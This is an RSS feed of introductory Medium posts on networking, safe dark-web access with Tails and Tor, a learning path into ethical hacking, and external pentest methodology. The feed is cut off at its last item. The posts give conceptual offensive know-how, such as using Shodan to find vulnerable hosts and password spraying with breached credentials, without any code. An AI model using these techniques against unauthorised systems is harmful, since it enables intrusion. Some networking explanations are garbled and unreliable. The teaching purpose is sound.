<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Falken Smaze on Medium]]></title>
        <description><![CDATA[Stories by Falken Smaze on Medium]]></description>
        <link>https://medium.com/@falkensmaze?source=rss-8712d7cf06b7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*c-8VdRSrp3GWxkDh7jgv7Q.jpeg</url>
            <title>Stories by Falken Smaze on Medium</title>
            <link>https://medium.com/@falkensmaze?source=rss-8712d7cf06b7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 12:43:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@falkensmaze/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking prerequisites : An introduction to computer networking]]></title>
            <link>https://falkensmaze.medium.com/hacking-prerequisites-an-introduction-to-computer-networking-7c4e09af14cf?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c4e09af14cf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[computer-networking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 17:45:32 GMT</pubDate>
            <atom:updated>2024-12-02T17:45:32.322Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking prerequisites : An introduction to computer networking</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cZazlQ0-H6715v7i.jpg" /><figcaption>generated with AI</figcaption></figure><h3>Why do we need networking for ethical hacking?</h3><p>Before you jump into the exciting world of computer exploitation, you first need some prerequisites. Basic computer knowledge is one, it kind of goes without saying. However, there is another huge area that needs to be learned before you jump into security and that is computer networking.</p><p>If you find yourself in the category of people wondering why they need computer networking knowledge or/and if you want to actually learn the basics of networking required to be an efficient hacker, then you are in the right place.</p><p>Hacking is not just about running pre-written tools, or finding an exploit online and running it against an IP, it is about understanding how computer systems communicate, interact and function. Computer networking makes the whole communication process possible — it is the foundation of modern communication and the digital world as you know it. Without good understanding of this technology, you will most likely fail to understand simple concepts,vulnerabilities and others in the cybersecurity field. If you thought understanding and learning at least the basics of computer networking was optional for ethical hacking, you are dead wrong; it is a <strong>prerequisite</strong>.</p><h3>So what is a computer network?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g8HgCy3wQlX9q41_" /></figure><p>In the diagram above we are met with a simple representation of a network.</p><p>A network, typically consists of two or more computers that are linked in order to share all sorts of resources. In the case above, we see two desktops, one laptop, a smartphone, a console and a printer, all part of this network.</p><p>The two most common types of networks are : LAN (which stands for Local Area Network) and WAN ( Wide Area Network )</p><h3>Local Area Network (LAN)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7YQ8C7YJRuA7H9C-" /></figure><p>A Local Area Network is a network that connects devices within a physical area, such as a house, office, bank, school etc. LANs are designed for high-speed communication over short distances. They use ethernet cables, Wi-Fi, or both.</p><p>In the diagram above, the local area network would be everything that’s on the left of the router, meaning the three computers. In a LAN, computers,printers,servers and routers are interconnected to share resources ( like files, applications)</p><blockquote>In ethical hacking, LANs are often the first target during a physical penetration test. We can perform something like <a href="https://en.wikipedia.org/wiki/Address_Resolution_Protocol">ARP ( Address Resolution Protocol )</a> spoofing to intercept communications or test the security of shared resources such as printers and servers. Understanding the structure of a LAN is key to identifying potential vulnerabilities in small, localized networks.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/0*qF1_aBhfJMRZa-Nz" /></figure><h3>What is a WAN?</h3><p>A Wide Area Network is a network that spans large areas, connecting multiple networks ( LANs) over vast distances. Unlike a local area network, a WAN links devices and networks across cities, countries and even continents. The easiest and most straight-forward example of a Wide Area Network is the Internet itself. A huge network that continuously shares resources between interconnected devices all across the globe.</p><p>They rely on more advanced technology like fiber optics, satellites and leased communication lines, ensuring data is transmitted carefully across long distances.</p><h3>TCP , UDP &amp; IP</h3><p>This is arguably one of the most important aspects of networking, at least when it comes to the world of ethical hacking. I am sure if you have been a part , or at least close to some sort of script kiddie community, or if you have a friend who thinks he’s a hacker because he downloaded Wireshark and intercepted an IP address ( a unique identifier for a device on a network ) on Counter Strike, you have most likely heard of how dangerous it could be to have your IP leaked. Well… it’s actually not that bad. But , we’ll get back to that later, first, let’s understand what an IP address is &amp; how it works so that the next time your “hacker” friend calls you up, you’ll be able to explain to him what he’s actually doing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*MaL2jRJIK81s9iqg" /><figcaption><a href="https://deepai.org/">generated with ai</a></figcaption></figure><p>TCP , which stands for Transmission Control Protocol/Internet Protocol (TCP/IP) is one of the most important and fundamental protocol which enables communication across networks , including the internet.</p><p>TCP is a connection-oriented protocol protocol, which ensures data is delivered carefully , accurately and in the correct order. It establish a solid connection through what we call “the three-way handhsake”, here’s where it got its name: ( how a TCP connection looks like )</p><ol><li>SYN : The sender requests to establish a connection ( synchronize )</li><li>SYN-ACK : The receiver acknowledges the request ( synchronize and acknowledge )</li><li>ACK : The sender confirms and the connection is established</li></ol><p>Once all these three steps are confirmed, the connection is active and TCP starts to break data into small segments, assigns them sequence numbers and ensures those segments reach their destination. If any segment is lost, it requests retransmission, making it a viable choice for applications that are web browsing based, e-mail orientated, or file sharing based, where data accuracy is vital. In simpler terms, once the three-way handshake has been established, the protocol starts to let the data/information to flow.</p><p>Understanding the Transmission Control Protocol is critical in ethical hacking .For instance, SYN floods are a common denial-of-service (DoS) attack that exploit the TCP handshake by overwhelming a target system with incomplete SYN requests. Additionally, tools like Wireshark can be used to analyze TCP traffic, helping us detect suspicious activity, such as packet sniffing or unauthorized data transfers.</p><h4>UDP</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*YVv8q-XgP8XoRQg-" /></figure><p>UDP stands for User Datagram Protocol and differs from TCP in the sense that it is a connectionless protocol. It does not guarantee delivery or order, but it as a result, it enhances the speed and possibly efficiency. UDP is commonly used in applications like streaming, gaming, calls, where some data loss is acceptable but delay is not.</p><p>Tools like nmap can perform UDP scans to identify open ports on a target system, which is essential for mapping a network’s attack surface. Ethical hackers must understand UDP to find potential vulnerabilities, such as improperly secured open ports that could be exploited by malicious actors.</p><h4>How TCP and UDP work with IP</h4><p>Both of these protocols rely on the Internet Protocol (IP) to transport data. The IP handles addressing and routing, ensuring the destination of which packets are sent to is correct. Each IP packets includes a protocol field to tell if it carries either TCP or UDP data.</p><h4>Conclusion</h4><p>I know computer networking can look a little bit scary and undesirable for learning, as opposed to something like “the actual hacking part”, but it is something that is needed. In this post, my goal was to introduce you to the world of networking, while not scaring you so much that you will not be back for more, so I’d like to keep it simple here and finish on a good note. Happy learning!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*X21OYDPWgXHtz-32ybDhuw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c4e09af14cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to properly & safely access the dark web]]></title>
            <link>https://falkensmaze.medium.com/how-to-properly-safely-access-the-dark-web-b7891ebb3621?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7891ebb3621</guid>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[darkweb]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 19 Sep 2023 21:56:37 GMT</pubDate>
            <atom:updated>2023-09-19T21:56:37.046Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*duxZGWZua9wB5hAZ.jpg" /></figure><p>In this article, I will teach you how you can access the dark web safely. However, before we get into that, I’d like to explain to the uninitiated what the “dark web” <strong>actually</strong> is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*qmaV7TOQj4RxT1MYoKCrcw.png" /><figcaption>the first result on Google (https://www.kaspersky.com)</figcaption></figure><p>While this is completely true, what is most important you understand, is that the “dark web” would not be possible without the TOR technology.</p><blockquote><em>“Tor, short for The Onion Router, is free and open-source software for enabling anonymous communication.It directs Internet traffic via a free, worldwide, volunteer overlay network that consists of more than seven thousand relays.</em></blockquote><blockquote><em>Using Tor makes it more difficult to trace a user’s Internet activity. Tor protects personal privacy by concealing a user’s location and usage from anyone performing network surveillance or traffic analysis.[9] It protects the user’s freedom and ability to communicate confidentially through IP address anonymity using Tor exit nodes.” ” ~ Wikipedia.org</em></blockquote><p>Here’s a diagram that showcases a typical , successful TOR connection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/0*wxqWhRG2Sv8yREy5" /></figure><p>Now that you understand the technology you’re using, let’s see how you can safely access websites/services that are served through TOR (dark web websites).</p><h3>Do not use your daily driver!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IW5FYtzvC0al7HzP.png" /></figure><p>As many of you know, these companies have a bad reputation at keeping privacy private. Data is being sent back to these Apple and Microsoft all the time, as such , we will want to avoid these operating systems at all costs.</p><p>The best operating system for : avoiding surveillance,censorship and malware, is Tails. Tails (“The Amnesic Incognito Live System”) is a debian-based distro with <strong>actual privacy</strong> in mind.</p><p>It works as a live operating system, meaning , you will be running it directly from you flash drive. Nothing to store on the drive. It runs on RAM, giving the end-user the ability to use their computer freely, without having to worry about someone snooping around their hard drive/ssd , gathering sensitive information.</p><p>Here is a video teaching you how to install and use Tails OS</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FXwJpf5kICeg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DXwJpf5kICeg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXwJpf5kICeg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/15a2db4d3367287cb15405deee74bac4/href">https://medium.com/media/15a2db4d3367287cb15405deee74bac4/href</a></iframe><p>After you have booted from the Tails flash drive, another important aspect is the browser’s security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*e9bpPrCJ-0zLJsbZ" /></figure><p>On Tails, the default browser is Tor Browser. This is an alternate Firefox with the ability to connect to the Tor network, and also a few extra security measures.</p><p>What is important now is to harden the security of the browser itself.</p><blockquote>about:preferences#privacy</blockquote><p>This is the link you’’re going to have to access.After clicking on it, change your browser’s security to “Safest”. This will ensure that no JavaScript will run on the client side (on your browser), and any kind of media are click-to-play. Meaning , that nothing malicious will automatically happen, unless you mess up yourself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*Mcfx_w9RRIO2PbufdFppjg.png" /></figure><p>Some malicious websites contain javascript code that could hijack your browser temporarily, or even try to install malware on your computer . So it is important to disable JS.</p><p>Just now, you can start surfing the dark web.</p><p>Popular search engine for the dark web:</p><p><a href="https://ahmia.fi/">https://ahmia.fi/</a></p><h3>That’s it?</h3><p>Well, not entirely. Sure, this will give you almost the best chances you can have at remaining anonymous on the dark web, however, you also need to have good OPSEC. Don’t enter any credentials on any .onion website. Don’t reveal any personally identifiable information . You get the idea!</p><p>Stay safe!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*w0ocni-bwxcsBQeN.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7891ebb3621" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to become a hacker for free in 2023]]></title>
            <link>https://falkensmaze.medium.com/how-to-become-a-hacker-for-free-in-2023-92f3e55af454?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/92f3e55af454</guid>
            <category><![CDATA[pentester]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 18 Jul 2023 18:17:15 GMT</pubDate>
            <atom:updated>2025-07-23T15:31:11.473Z</atom:updated>
            <content:encoded><![CDATA[<h3>How to become an ethical hacker for free in 2025</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9B466DbLTXHF1ts4CYcW6A.jpeg" /></figure><h3>What even is “hacking”?</h3><p>Whenever I mention the word “hacker”, or “hacking”, people with no knowledge in the domain of IT, would picture something like the image from above.</p><p>A wizard techie that can break into any systems while random greenish characters fall on their black terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*vxZgYSTfo-vSRTPfbukFBw.png" /></figure><p>While Google states that the definition of hacking is simply “the gaining of unauthorized access to data in a system or computer” , I’d say that is not always the case. From my point of view, the definition of hacking is “getting something (typically a computer system but not limited to this) to perform an action it was not supposed to”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*7XQt-Y9cIigRyJ9o.jpg" /></figure><p>Picture, there’s an ATM at the local gas station. The ATM is supposed to receive and dispense money. However, that has to happen under a set of conditions. Firstly you put in the credit card. Then, you provide a sort of password to prove that you in fact, own that credit card, which in this case is a PIN number. Then, the amount of money you want the ATM to dispense , needs to be aligned with the number of money you have on the credit card (obviously it is more complicated than that, but let’s just keep things simple). However, what would happen if I were to ask the machine to dispense 250$ , while my credit card’s balance is 200$. That is the mindset of a hacker, and if you manage to get the ATM to dispense more money than you actually have, you have successfully hacked that system.</p><p>That is how a hacker thinks. You are dealt with a piece of software/hardware (really, anything), and you must get that system to do something it was not meant to do. Obviously , the desired goal is to pop a shell like , but that is NOT the definition of hacking. Hacking is not only about popping shells and “gaining unauthorized access to computer systems”. It is about tinkering,testing and finding logic flaws inside software/hardware and even people.</p><p>The reason why I am rambling about this, is because I want you to know what you’re getting yourself into before committing to it. Hacking is hard, it requires a lot of hard work and dedication , and unfortunately it’s not like the Hollywood scenes. (for a more accurate portrayal of hacking , check out the T.V show : Mr. Robot)</p><h3>How to become a hacker?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E1n_iuE0CFeFc6Na" /></figure><p>In order to hack something, you must understand it very well. This is why, before you start studying and practicing the art of offensive security, you have to understand basic technologies to begin with.</p><h4>Self-plug here :</h4><p><em>You can skip ahead reading through this article by joining </em><a href="https://discord.gg/tnpx3sZP6r"><em>my Discord community </em></a><em>. There , I have put together a free “Foundations for Hackers” course that will teach you everything you need to know before getting started into hacking.</em></p><h4>Basic computer knowledge</h4><p>This one should be pretty obvious. You gotta’ be good with computers. Personally, when I first started getting into hacking, I was already pretty good and knowledgeable about computers, however that is not the case with everyone.</p><p>The equivalent to this , is probably the Comptia A+ certification. You don’t need the cert, you just need the knowledge that you need to pass the certification.</p><p>The go-to free resource to learn for the Comtpia certifications for absolutely no cost, is definitely Professor Messer</p><p>-&gt; <a href="https://www.professormesser.com/free-a-plus-training/220-1101/220-1101-video/220-1101-training-course/">bit.ly/comptiaacourse</a></p><h4>Networking knowledge</h4><p>Networking,networking,networking. You need to understand how computer systems communicate with each other. You need to know different protocols and how they work.</p><p>For this , you can go for the Comptia Network+ certification.</p><p>-&gt; <a href="https://www.professormesser.com/network-plus/n10-008/n10-008-video/n10-008-training-course/">bit.ly/3OesJka</a></p><h4>Linux skills</h4><p>Operating systems based on the Linux kernel, is what we use on a day-to-day basis as hackers. Probably 99% of the tools and software we use in penetration testing engagements are meant to run on Linux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*4UdmTTRU8RiVqLsk.jpg" /></figure><p>Most web servers run Linux. There are multiple reasons for this, however, for now it’s just important to know that Linux powers a lot on the internet. You are running Linux and you don’t even know it. If you own an Android, you run Linux. It’s very crucial to be fluent in Linux and to be able to navigate this wonderful operating system.</p><p>In my opinion, the best way to learn it , and this is how I did as well, is to just wipe Windows off your computer, and load a bootable USB flash drive with Ubuntu/Linux Mint. (You should start off with one of these two because they aim to bring beginners into the world of Linux, so you might find it easier to use them) . If you want a desktop environment change, then opt for Ubuntu. If you still want that Windows “feel”, then go for Linux Mint.</p><p>Resources to learn Linux :</p><p><a href="https://linuxjourney.com/">Home | Linux Journey</a></p><h4>Security basics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*Kc8RJpRv1QRw9n21" /></figure><p>Before you delve into the world of hacking, you must first understand the basic concepts and technologies implied with cybersecurity.</p><p>A great place to learn this for zero cost, is still , Professor Messer. There is another Comptia certification, known as Security+. It aims to teach you the basics of cybersecurity, which is exactly what you need at the moment.</p><p><a href="https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/sy0-601-comptia-security-plus-course/">bit.ly/3JYCyjv</a></p><h4>Coding??</h4><p>While I personally know how to code, and have developed software in the past (I’m currently working on new tools), I would say that coding is not necessary to be a good hacker.</p><p>Is it a good skill to have? Sure. Is it necessary? Not really.</p><p>What you will need to learn however, is basic scripting. This can be basic bash/powershell scripting, or even Python. You need to know a little bit of scripting.</p><p>However, the most important part in this field, is not to write code but to be able to read and understand it. So you will need to understand code. There’s a big difference between being able to code software , and to analyze and read code from another programmer. This is important, due to the common security practice known as “code analysis”.</p><p>For this, you can just look up coding tutorials on YouTube and you’ll find what you seek.</p><h4>Hacking</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bCUGcvYQJ5EyK61U.png" /></figure><p>Finally, the good stuff. A lot of hard work to get here, yes, but it is worth it.</p><p>Now, how can you learn hacking by yourself, for absolutely free? Just google it lol.</p><p>But seriously though , here is objectively the best resource that will hands down teach you everything we had talked about + the hacking knowledge.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F3FNYvj2U0HM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D3FNYvj2U0HM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F3FNYvj2U0HM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/f85773f3c3732c848e0b42a2ca536696/href">https://medium.com/media/f85773f3c3732c848e0b42a2ca536696/href</a></iframe><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FsH4JCwjybGs%3Fstart%3D14260&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DsH4JCwjybGs&amp;image=http%3A%2F%2Fi.ytimg.com%2Fvi%2FsH4JCwjybGs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/48130ade7263834cf779741636570a5f/href">https://medium.com/media/48130ade7263834cf779741636570a5f/href</a></iframe><p>The first part will teach you the foundations we had talked about earlier and the second part will teach you the basics of hacking. OSINT (passive recon), active recon, vulnerability scanning, exploitation and even Buffer Overflow exploit development. Hands down, the greatest free resource .</p><h4>Where to go from here??</h4><p>If you have studied and mastered the basics of the subjects from above, you are now stepping into the advanced territory .</p><p>Honestly, there are a lot of areas in hacking that I might have not even heard of. It ranges from hardware exploitation , to exploit development , to hacking cars and planes.</p><p>In my opinion, there are two main types of pentesters:</p><ul><li>Generalists</li><li>Specialists</li></ul><p>Here are the most common penetration testing roles and activities :</p><ul><li>Network Penetration Testing (external and/or internal)</li><li>Web Application Penetration Testing</li><li>Physical Penetration Testing</li><li>Social Engineering Testing (it typically falls hand-in-hand with physical pentesting)</li></ul><p><strong>Disclaimer : I acknowledge the fact that there are many more niches in the pentesting/ethical hacking field, however, these are the ones that are most common.</strong></p><p>These are the most common job roles you’ll have to do as a penetration tester. Now, I myself try to learn as much as possible everyday about this subject, so I am on my way of becoming a generalist. This means I have and am still learning about all of these subjects, be it : website hacking or AD hacking (active directory), I am trying to learn as much as I can. However, this doesn’t have to be the case for you since there are many specific jobs out there (i.e “Looking for WebApp Pentester”/”Looking for network pentester”).</p><p><em>The choice is yours and yours only!</em></p><p>As for the resources available to study these advanced topics, unfortunately , there aren’t many. However, there are some that will get you started into the advanced territory. Here are some for each category :</p><p>Network Pentesting :</p><ul><li>Again, from The Cyber Mentor, <a href="https://www.youtube.com/playlist?list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj">here is a free course on YouTube that aims to teach you the basics of network penetration testing</a></li><li><a href="https://hausec.com/">hausec</a> ; great blog to learn from regarding AD pentesting</li><li>AD hacking training is not really that available for free in a nice , easy to digest format. You will have to either : spend a lot of time , read a lot of articles, watch a lot of youtube videos etc. , or spend a some money on paid training. do your own research here</li></ul><p>Web Application Pentesting:</p><ul><li>When it comes to website hacking, by far the greatest free resource that cannot be surpassed and hasn’t been surpassed for the past years , which is 100% FREE and has labs included is the <a href="https://portswigger.net/web-security/dashboard"><strong><em>PortSwigger Academy</em></strong></a><strong><em> . </em></strong>It is truly amazing and I can’t seem to understand how they are sustaining this project without charging any fees , and from what I recall , there are no ads there either. Absolutely great resource from the creators of BurpSuite and it’s one that you should first check out.</li><li>If you still want that “video-course” format, then you should check out , once again, <a href="https://www.youtube.com/watch?v=24fHLWXGS-M&amp;t=5s">TCM’s free course on YT</a> teaching the basics of web hacking.</li><li>Also , you should check out the following content creators : <a href="https://www.youtube.com/@NahamSec">NahamSec</a>, <a href="https://www.youtube.com/c/RanaKhalil101">Rana Khalil</a> , <a href="https://www.youtube.com/c/stokfredrik">STÖK</a> and other creators that specialize in web hacking.</li></ul><p>Physical Pentesting &amp; Social Engineering :</p><ul><li>I’ll put these ones into the same category. I am not really knowledgeable about physical pentesting, however I do have skills in SE (social engineering).</li><li>Social Engineering is one of my favorite fields in hacking. It is amazing how you can literally hack people. It is the art of human hacking.</li><li>I don’t free resources on this topic, however I can recommend to you the following books &amp; course :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*lh6jUP-6NgWkmROd.jpg" /></figure><p>By far the greatest books of all time covering this topic , has to be Christopher Hadnagy’s , “Social Engineering: The art of human hacking” .</p><p>Another book that I’d like to recommend to you which is not necessarily about social engineering, rather dark psychology. You might of heard of it, it’s “The 48 laws of power” by Robert Greene.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nH3jgnwKHWtjqtTH.jpeg" /></figure><p>Like I said, it does NOT cover any technical details you will need to be a successful social engineer (to be a good SE , you must also know the technical portion of the equation), but it will help you understand human psychology and the dark ways in which people operate, giving you the upper hand in the presumed manipulation and tricking tactics that you might use in a social engineer attack. This especially works in combination with physical pentesting, since the social engineer attacks will be IN-PERSON. I would like to mention once again that this book does NOT teach you hacking .</p><ul><li><a href="https://zsecurity.org/courses/learn-social-engineering-from-scratch/">A great course by zSecurity</a> teaching social engineering. It teaches you tactics and techniques that hackers might use in real life scenarios in order to gain unauthorized access to any sort of data,accounts and computer systems (sky is the limit).</li></ul><p>And here we come to the end of the article. I would like to remind you that this is by no means an all-inclusive guide to becoming a “master hacker” (incredibly cringe terms used by actual teachers and content creators in this field). The purpose of this article is to get you into good shape in the most common fields in the world of hacking! The sky is the limit. If you decide to learn how to hack automobiles , then you shall do that. The information that is absolutely required for ANY kind of hacking, is “Basic Computer skills (A+), Computer Networking (Network+), Linux and basic hacking. After you are comfortable in these areas, then you can consider choosing in which area you want to specialise in / become a generalist.</p><p>I hope this article helped you and good luck in your , hopefully <strong>ethical</strong> hacking career .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*V0sPaF6mRXIO9OGs.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92f3e55af454" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[External Network Penetration Testing : The methodology]]></title>
            <link>https://falkensmaze.medium.com/external-network-penetration-testing-the-methodology-f11341e2ec10?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f11341e2ec10</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[external-network-hacking]]></category>
            <category><![CDATA[network-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 30 May 2023 22:13:25 GMT</pubDate>
            <atom:updated>2023-06-01T21:30:03.682Z</atom:updated>
            <content:encoded><![CDATA[<h3>External Network Penetration Testing : The methodology</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3L022EWF8buDLiUy.png" /></figure><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join my Discord server for private learning</a></blockquote><h3>What is External Network Penetration Testing?</h3><p>-&gt; External network penetration testing is the act of auditing an organization’s network security from an external perspective. It involves simulating real-world cyber attacks to identify vulnerabilities and weaknesses that malicious actors could exploit to gain unauthorized access to the network.</p><h3>There are not many CVEs in play!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/0*9QUHKKrt6Av4kIMI.jpg" /></figure><p>Many aspiring hackers have a completely wrong perception over external network penetration testing.</p><p>HTB like content gives newbies the wrong perception of external hacking!</p><p>Many of the challenges that are in the CTF like-world usually involve a lot of CVEs. Basically targets that are running some sort of outdated service which is prone to a known exploit.</p><p>That is not the real world!</p><p>In the real world, there are bots that are scanning the internet 24/7 looking &amp; finding devices that run outdated services. If we go on Shodan right now, and I look for devices running Vsftpd 2.3.4 (a vulnerable service that leads to RCE) the results will shock you!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghXGjpw-iXzrLpzoS9iuSw.png" /></figure><p>Just a quick, effortless search lead me to discover potentially 2.6 thousand devices vulnerable. This just goes to show how easy it is to discover vulnerable services on the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*_H5-44dte3K8aTI2.gif" /></figure><p>If the client you’re pentesting is running any kind of vulnerable services that lead to RCEs, then they have probably already been doomed.</p><p>This does not mean that you won’t encounter CVEs or vulnerabilities in the assets that your client presents you with. Maybe there is an information disclosure vulnerability, or perhaps a vulnerable WordPress plugin in one of their web servers. However, what I wanted to say here, is that you probably won’t have a CVE with Critical/Very-High impact on the external side that could potentially lead to network compromise.</p><h3>So then, how do we breach the network?</h3><h4>Phases of External Network Pentesting :</h4><ul><li>Vulnerability Scanning</li><li>Validate vulnerability scanning software findings manually</li><li>OSINT/Passive Recon</li><li>User Enumeration</li><li>Password spraying &amp; Brute-Force on login portals</li><li>Escalate privileges (Try to get inside the internal network)</li></ul><p>After verifying the ROE , you should start off by scanning the IPs in scope. After the vulnerability scanning has been done, manually check those to make sure they are not false-positives.</p><p>However, the most common way that we breach networks in external assessments, is by password spraying and brute-forcing login portals. This could mean anything from Azure, OutLook to even SSH and RDP services. Anything that requires a username/e-mail and a password, is the gold mine here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*u73R9DIuRdd9tQgq.jpg" /></figure><p>In these kinds of assessments , OSINT is your best friend. In future articles, I’ll be discussing the techniques to find employee sensitive information , and that is mostly passwords in breached databases, and how to use those to try to breach the network.</p><p>So, in the passive recon stage, we try to collect as much information as possible. From e-mails, to passwords in breached databses as well as passwords policies and even job postings. We collect all of this information to build a strong attack strategy.</p><p>The next stage, is to try and spray possible passwords/ passwords discovered in public breaches, that are related to the e-mails from the organization that you’re pentesting in the login portals.</p><p>If that is successful , the final step is to escalate our privileges, to try to gain access to internal resources.</p><p>That would be , in a nutshell an external pentest. In future articles, I ll be going over in more detail over these topics, however for now, this is a nice introduction to the world of breaching networks from the outside :)</p><blockquote><a href="https://discord.gg/tnpx3sZP6r">Join my Discord server for private learning</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/0*qbOI3Iy0yqLurhSZ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f11341e2ec10" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prerequisites  for Hackers : What you need to know before getting into hacking!]]></title>
            <link>https://falkensmaze.medium.com/prerequisites-for-hackers-what-you-need-to-know-before-getting-into-hacking-dad5fee009be?source=rss-8712d7cf06b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/dad5fee009be</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[prerequisites]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Falken Smaze]]></dc:creator>
            <pubDate>Tue, 23 May 2023 21:44:48 GMT</pubDate>
